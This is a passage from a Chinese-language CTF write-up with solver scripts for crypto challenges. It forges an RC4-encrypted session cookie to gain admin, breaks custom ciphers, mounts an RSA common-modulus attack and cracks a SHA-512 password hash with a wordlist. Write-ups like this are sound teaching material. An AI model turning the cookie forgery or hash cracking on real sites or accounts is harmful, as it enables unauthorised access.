s.add(xor <= ord('z'))

assert(s.check() == sat)
m = s.model()
o_ = [m[x].as_long() for x in o]
print(''.join([chr(o_[i] ^ f) for i, f in enumerate(flag_enc)]))

關於那個 r_n 到底要取得幾個就隨便猜了,反正多拿點代表可能符合的 o 範圍會變小

login as admin 5

透過觀察原始碼你會發現到你能擁有的資訊有加密過 guest user 資料 json,以及那個 json 實際上長怎樣。那麼這個怎麼做呢,建議先複習一下 RC4 這個加密法是怎麼實作的。

1
2
3
keyStream = RC4(key, length)
cipherText = text ^ keyStream
text = chiperText ^ keyStream

既然我們已經有了 textcipherText 後,我們可以得到 keyStream。再來我們再生成的我們想要的 user json 用 keyStream 加密回去就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
b = decodeURIComponent('user5 cookie here')
enc = atob(b)
plain = JSON.stringify({ name: 'guest', admin: false })
ks = ''
for (let i = 0; i < enc.length; i++) {
ks += String.fromCharCode(enc.charCodeAt(i) ^ plain.charCodeAt(i))
}
target = JSON.stringify({ name: 'guest', admin: true })
result = ''
for (let i = 0; i < target.length; i++) {
result += String.fromCharCode(ks.charCodeAt(i) ^ target.charCodeAt(i))
}
console.log(encodeURIComponent(btoa(result)))

xor

研究一下 xortool 就能很簡單的破解了。

emoji

它給了你一個壓縮過的 js,不過我們看到一開始就是 eval,所以就先把它移除掉看看要執行的程式碼到底是什麼,然後再把它丟到 beautifier 之類的工具比較好閱讀。 接下來除了加密的資料以外我們還可以很清楚的看到它的加密邏輯,可以簡化為下方的 code:

1
2
3
4
const encrypt = (str) =>
Array.from(str)
.map((e) => e.charCodeAt(0))
.map((e) => (e * 0xb1 + 0x1b) & 0xff)

這個加密怎麼破解呢?因為字元的範圍是 0~255,所以直接暴力破解就好了。

1
2
3
4
5
6
7
8
9
10
11
ar = [] // encrypted byte array
res = []
for (let i = 0; i < ar.length; i++) {
for (let j = 0; j < 256; j++) {
if (((j * 0xb1 + 0x1b) & 0xff) === ar[i]) {
res[i] = j
break
}
}
}
console.log(res.map((x) => String.fromCharCode(x)).join(''))

multilayer

這題是個多層加密,第一層是隨機的 substitution cipher,第二層是乘某個值然後取 mod,第三層有個隨機的很大的 key 會根據迴圈變動,然後和 flag 做一些位元運算,而最後一層是把 flag 切塊做 RSA。要解這個一次把全部的東西寫對是不切實際的,所以建議可以自己弄個假的 flag 出來,然後自己 print 其中各層輸出的結果,這樣就能一層一層處裡比較方便。

首先是第四層,雖然那個 RSA 聽起來很可怕,只是注意到它的分塊一次只取四個 16 進位的字元,所以所有的 input 只有 0000~ffff,這樣每次直接暴力跑 65536 次就能解密了,不過要更快的話可以直接預先算好一個表,不用每解一個 block 都要全部跑過一遍。

之後第三層我是直接用 z3 解,不過一開始用 BitVec 的時候因為 bits 設太嚴所以經常出現 unsat 的問題,後來發現是它的 BitVec 運算預設都是 signed 的,所以把 bits 加大就能解了。然後第二層也是 z3 輕鬆處裡,不過其實可以直接整合到第三層裡面去就好了,不用多一個函數。

最後的第一層是單純的 substitution cipher,雖然它有給原始字串的字母頻率,不過直接用之前解 classic cipher 1 用的工具 quipqiup 就好了,然後給它前面四個字元是 FLAG 的提示就能解開了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python
import re
import base64
from Crypto.Util import number
import gmpy2
from z3 import *
import sys

if len(sys.argv) < 2:
print(f'{sys.argv[0]} {{filename}}')
sys.exit()

def xor(a, b):
return bytes(i ^ j for i, j in zip(a, b))

def decrypt_level4(layer4, n, e):
rsa_table = {}
for i in range(0xffff+1):
# gmpy2.powmod is much faster than builtin pow
c = gmpy2.powmod(number.bytes_to_long(
bytes(hex(i)[2:].rjust(4, '0'), 'ascii')), e, n)
rsa_table[c] = i

def rsa_decrypt(c):
return rsa_table[c]

layer3 = b''

for i in range(1, len(layer4)//256):
prev = layer4[(i-1)*256:i*256]
cur = layer4[i*256:(i+1)*256]
blk = xor(cur, prev)
r = int.from_bytes(blk, byteorder='big')
orig = rsa_decrypt(r)
layer3 += number.long_to_bytes(orig)

return layer3

def decrypt_layer3and2(layer3):
key = BitVec('key', 64)
data = [BitVec(f'data_{i}', 20) for i in range(len(layer3))]
s = Solver()

s.add(key < 0x10000000000000000)

s.add(data[4] == ord('{'))

for i in range(len(layer3)):
key = (key * 0xc8763 + 9487) % 0x10000000000000000
s.add((Extract(7, 0, URem(data[i]*17, 251))
^ Extract(7, 0, key)) & 0xff == layer3[i])
s.add(0 <= data[i])
s.add(data[i] < 251)

assert(s.check() == sat)
m = s.model()
layer2 = bytes(bytearray([m[d].as_long() for d in data]))
return layer2

with open(sys.argv[1], 'r') as f:
n, e = re.search(
r'n=0x([0123456789abcdef]*), e=0x([0123456789abcdef]*)', f.readline()).groups()
n = int(n, 16)
e = int(e, 16)
f.readline()
f.readline()
data = base64.b64decode(f.readline())
tmp = decrypt_level4(data, n, e)
rand_flag = decrypt_layer3and2(tmp)[:-1].decode('ascii') # drop '\n'

print(rand_flag)
sub_cules = ' '.join([f'{a}={b}' for a, b in zip(rand_flag[0:4], 'FLAG')])
print(
f'Substitution cipher can be solved on https://quipqiup.com/ with clues {sub_cules}')

slowcipher

一開始先自己測試一下會發現它的執行時間基本上和 input 長度有關,呈指數般的成長。

丟進 IDA 打開可以看到解密函數的 code,然後它主要分成兩個部分,第一個部分有個迴圈根據密碼去算一個奇怪的值,暫且叫做 key(uint64)。然後後面有另一個迴圈會利用前面算出來的 key 做一些運算,然後根據加密或是解密會有點不太一樣。而拖慢程式的那個迴圈是第二部分的,因為它裡面還有個迴圈會根據某個特別的值去重複對 key 進行個相同的運算很多遍: k = (7829367 * k + 12345) & 0x7FFFFFFFFFFFFFFFLL,看了第一個迴圈也是有看到這個運算反覆的出現。所以我就懷疑該不會這個值是有什麼循環之類的,只是用 python 隨便測試了一下看來是沒有。

不過再仔細看一下的話會發現 key 在第二個迴圈中只要有使用到它來加密的地方都一定有和某個 int8 的值做 xor,所以代表它除了最底的 8bits 以外都沒什麼用,應該可以 mod 256,所以實際上第一個迴圈計算出來的結果不是很重要,因為到最後也只有 256 種可能。然後也可以寫個程式去試試看,對於 0~255 的初始值,反覆的對 key 做那個運算都必定會產生循環,且神奇的是它循環的大小一定都是 64,不知道是有什麼奇怪的數學在裡面。

反正既然如此的話我們就能把 key 的搜索空間找出來就能很快的讓它計算完成了。key 的部份直接 0~256 全部都試試看,然後看結果能不能轉換成 ASCII,若不行就放棄,而這個方法在我自己測試加密的文字檔是有效的,但是用在真正的 flag.enc 檔上卻沒用。後來去查了一下別人的解法才發現說那個檔案不是文字檔,而是 7z...,如果要盲猜 key 的話就要判斷一下檔案類型了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import magic

def getset(k):
start = k % 256
s = list()
while start not in s:
s.append(start)
start = ((7829367 * start + 12345) & 0x7FFFFFFFFFFFFFFF) % 256
return s

def step(s, k, n):
return s[(s.index(k)+n) % len(s)]

def decrypt(data, k):
out = b''
a = 7
s = getset(k)
for c in data:
k = step(s, k, a)
out += (k ^ c).to_bytes(1, byteorder='big')
# With Ghidra
tmp = (a*21) % (1 << 64)
tmp = (tmp*0xcccccccccccccccd) % (1 << 128) >> 67
a = tmp ^ (k ^ c)
return out

m = magic.Magic(mime=True)
with open('flag.enc', 'rb') as f:
data = f.read()
for k in range(256):
r = decrypt(data, k)
mime = m.from_buffer(r)
if mime != 'application/octet-stream':
print(k, mime)
w = open(f'flag-{k}', 'wb')
w.write(r)
w.close()

有個可能要注意的地方是有些運算在 python 和 C 底下差很多,像是溢位等的問題,而這題的第二個迴圈底下的某個運算在 IDA 顯示出來的結果真的很怪,後來直接用 Ghidra 的反編譯結果比較容易看懂,然後在 python 重新模仿一次那些運算

ffa

這題提示給了個 finite field arithmetic,查了一下也沒很清楚是什麼東西,不過應該大概是 的運算之類的。然後打開 python 檔一看就知道需要解 a b c 出來,所以就要用上解這種東西的神器 z3

下面還有個用數學的解法,不用 z3

用 z3 的解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from z3 import *

# Assuming x, y, z, m already exist

a = Int('a')
b = Int('b')
c = Int('c')

solver = Solver()

for _ in [a, b, c]:
solver.add(pow(2, 256, m) <= _)
solver.add(_ < pow(2, 257, m))
solver.add(x == (a + b * 3) % m)
solver.add(y == (b - c * 5) % m)
solver.add(z == (a + c * 8) % m)

if solver.check() == sat:
model = solver.model()
print(model)

接下來我們看到後面會看到 ,而這個實際上是 RSA 的共模攻擊,用數學簡單描述就像下面這樣:

所以最後在加上一段程式碼把 f 算出來,轉換回原本的 string 就好了。關於 r s 的找法使用的是擴展歐幾里得算法

所以完整的程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import gmpy2
from z3 import *

M = 349579051431173103963525574908108980776346966102045838681986112083541754544269
m = 282832747915637398142431587525135167098126503327259369230840635687863475396299
x = 254732859357467931957861825273244795556693016657393159194417526480484204095858
y = 261877836792399836452074575192123520294695871579540257591169122727176542734080
z = 213932962252915797768584248464896200082707350140827098890648372492180142394587
p = 240670121804208978394996710730839069728700956824706945984819015371493837551238
q = 63385828825643452682833619835670889340533854879683013984056508942989973395315

a = Int('a')
b = Int('b')
c = Int('c')

solver = Solver()

for _ in [a, b, c]:
solver.add(pow(2, 256, m) <= _)
solver.add(_ < pow(2, 257, m))
solver.add(x == (a + b * 3) % m)
solver.add(y == (b - c * 5) % m)
solver.add(z == (a + c * 8) % m)

if solver.check() == sat:
model = solver.model()
A = model[a].as_long()
B = model[b].as_long()
C = model[c].as_long()
else:
print('no')

g, r, s = gmpy2.gcdext(A, B) # ra+sb=g=1
assert(g == 1)
flagn = pow(p, r, M)*pow(q, s, M) % M # p^r*q^s=f^(ar)*f^(bs)=f (mod M)
bs = bytes.fromhex(hex(flagn)[2:])
flag = ''.join([chr(b) for b in bs])
print(flag)

這在我電腦上不用 1/10 秒就能跑完。

數學解

注意到它的 a b c 其實是 下的線性方程組的解,所以可以寫成這樣:

所以要求 a b c 就把反矩陣乘過去就好了,而 sympy 有提供計算 下的反矩陣的函數,所以解法就像這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import gmpy2
from sympy import Matrix

M = 349579051431173103963525574908108980776346966102045838681986112083541754544269
m = 282832747915637398142431587525135167098126503327259369230840635687863475396299
x = 254732859357467931957861825273244795556693016657393159194417526480484204095858
y = 261877836792399836452074575192123520294695871579540257591169122727176542734080
z = 213932962252915797768584248464896200082707350140827098890648372492180142394587
p = 240670121804208978394996710730839069728700956824706945984819015371493837551238
q = 63385828825643452682833619835670889340533854879683013984056508942989973395315

A = Matrix([
[1, 3, 0],
[0, 1, -5],
[1, 0, 8]
])
B = Matrix([[x, y, z]])
X = A.inv_mod(m)*B.T % m
[a, b, c] = X.T # a, b, c are sympy.core.numbers.Integer
a = int(a)
b = int(b)

g, r, s = gmpy2.gcdext(a, b) # ra+sb=g=1
assert(g == 1)
flagn = pow(p, r, M)*pow(q, s, M) % M # p^r*q^s=f^(ar)*f^(bs)=f (mod M)
bs = bytes.fromhex(hex(flagn)[2:])
flag = ''.join([chr(b) for b in bs])
print(flag)

不過我跑這個所花的時間大概是 z3 版本的 2.5 倍,不過一樣不到一秒就能解出,果然 z3 有 magic。

Programming

fast

這題就要寫程式去回應它出的 10000 題四則運算,不過有個它沒說的點是它的運算是遵守 C 的 32 位元整數來運算的... 這讓我一開始用 node.js 寫弄的很麻煩還沒過,最後只好用 python。

Lucky

you-guess

這題的名稱就真的叫你猜,然後裡面的也是給你 sha512 的 hash,想破解也真的不切實際。不過猜也是有方法的,根據它裡面的 %s really hates her ex.,密碼應該是個人名,所以搞不好字典檔裡面有。

下面的腳本就傳個字典檔的路徑作為參數進去,它就會把每個字都試過一次。然後如果我直接把真正的 password 公開出來其實和直接講 flag 沒兩樣,不過我能提示說我是從 hashcat 裡面的 example.dict 找到密碼的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import hashlib
import sys

def sha512(s):
return hashlib.sha512(s.encode()).hexdigest()

target = '2a9b881b84d4386e39518c8802cc8167ec84d37118efd3949dbedd5e73bf74b62d80bf1531b7505a197565660bf452b2641cd5cd12f0c99c502a4d72c28197f2'

with open(sys.argv[1]) as f:
for line in f:
password = line[:-1]
h = sha512('your hash is ' + sha512(password) +
' but password is not password')
if h == target:
print(password)
break

Forensic

easy pdf

從 pdf 中找出所有的字串,然後就能看到 flag 了

1
2
pdftotext easy.pdf easy.txt
cat easy.txt

this is a pen

從 pdf 中把圖片輸出出來,裡面有一張就是 flag

1
2
pdfimages this-is-a-pen.pdf -all tmp/
ls tmp